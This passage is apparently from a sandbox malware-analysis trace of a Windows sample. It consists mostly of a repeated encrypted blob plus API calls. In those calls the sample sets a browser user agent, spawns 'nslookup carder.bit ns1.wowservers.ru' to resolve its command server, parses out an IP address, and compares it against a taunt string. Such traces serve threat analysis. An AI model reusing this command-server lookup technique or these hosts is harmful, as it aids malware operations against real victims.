(lpString="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") returned 5820
	[0084.655] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x2fc0000, cbMultiByte=-1, lpWideCharStr=0x170000, cchWideChar=5820 | out: lpWideCharStr="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0") returned 0
	[0084.655] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
	[0084.655] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x2fd0000
	[0084.656] lstrlenW (lpString="") returned 0
	[0084.656] VirtualAlloc (lpAddress=0x0, dwSize=0x2, flAllocationType=0x3000, flProtect=0x4) returned 0x2fe0000
	[0084.656] CreatePipe (in: hReadPipe=0xcf3d1c, hWritePipe=0xcf3d18, lpPipeAttributes=0x253fcb8, nSize=0x0 | out: hReadPipe=0xcf3d1c*=0x2d4, hWritePipe=0xcf3d18*=0x3a0) returned 1
	[0084.656] SetHandleInformation (hObject=0x2d4, dwMask=0x1, dwFlags=0x0) returned 1
	[0084.656] CreatePipe (in: hReadPipe=0xcf3d14, hWritePipe=0xcf3d20, lpPipeAttributes=0x253fcb8, nSize=0x0 | out: hReadPipe=0xcf3d14*=0x3a4, hWritePipe=0xcf3d20*=0x3a8) returned 1
	[0084.656] SetHandleInformation (hObject=0x3a8, dwMask=0x1, dwFlags=0x0) returned 1
	[0084.656] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000
	[0084.656] wsprintfW (in: param_1=0x2ff0000, param_2="nslookup %S ns1.wowservers.ru" | out: param_1="nslookup carder.bit ns1.wowservers.ru") returned 37
	[0084.657] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="nslookup carder.bit ns1.wowservers.ru", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x253fc48*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3a4, hStdOutput=0x3a0, hStdError=0x3a0), lpProcessInformation=0x253fc90 | out: lpCommandLine="nslookup carder.bit ns1.wowservers.ru", lpProcessInformation=0x253fc90*(hProcess=0x3b0, hThread=0x3ac, dwProcessId=0x950, dwThreadId=0x790)) returned 1
	[0084.791] CloseHandle (hObject=0x3b0) returned 1
	[0084.791] CloseHandle (hObject=0x3ac) returned 1
	[0084.791] ReadFile (in: hFile=0x2d4, lpBuffer=0x253ec94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x253fc94, lpOverlapped=0x0 | out: lpBuffer=0x253ec94*, lpNumberOfBytesRead=0x253fc94*=0x134, lpOverlapped=0x0) returned 1
	[0087.835] lstrlenA (lpString="Addresses:") returned 10
	[0087.835] lstrcpyA (in: lpString1=0x2fe0000, lpString2="85.105.167.110" | out: lpString1="85.105.167.110") returned="85.105.167.110"
	[0087.835] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0087.835] lstrcmpiA (lpString1="85.105.167.110", lpString2="fabian wosar <3") returned -1
	[0087.835] wsprintfW (in: param_1=0x2fd0000, param_2="%S" | out: param_1="85.105.167.110") returned 14
	[0087.835] VirtualFree (lpAddress=0x2fe0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0087.835] lstrlenA (lpString="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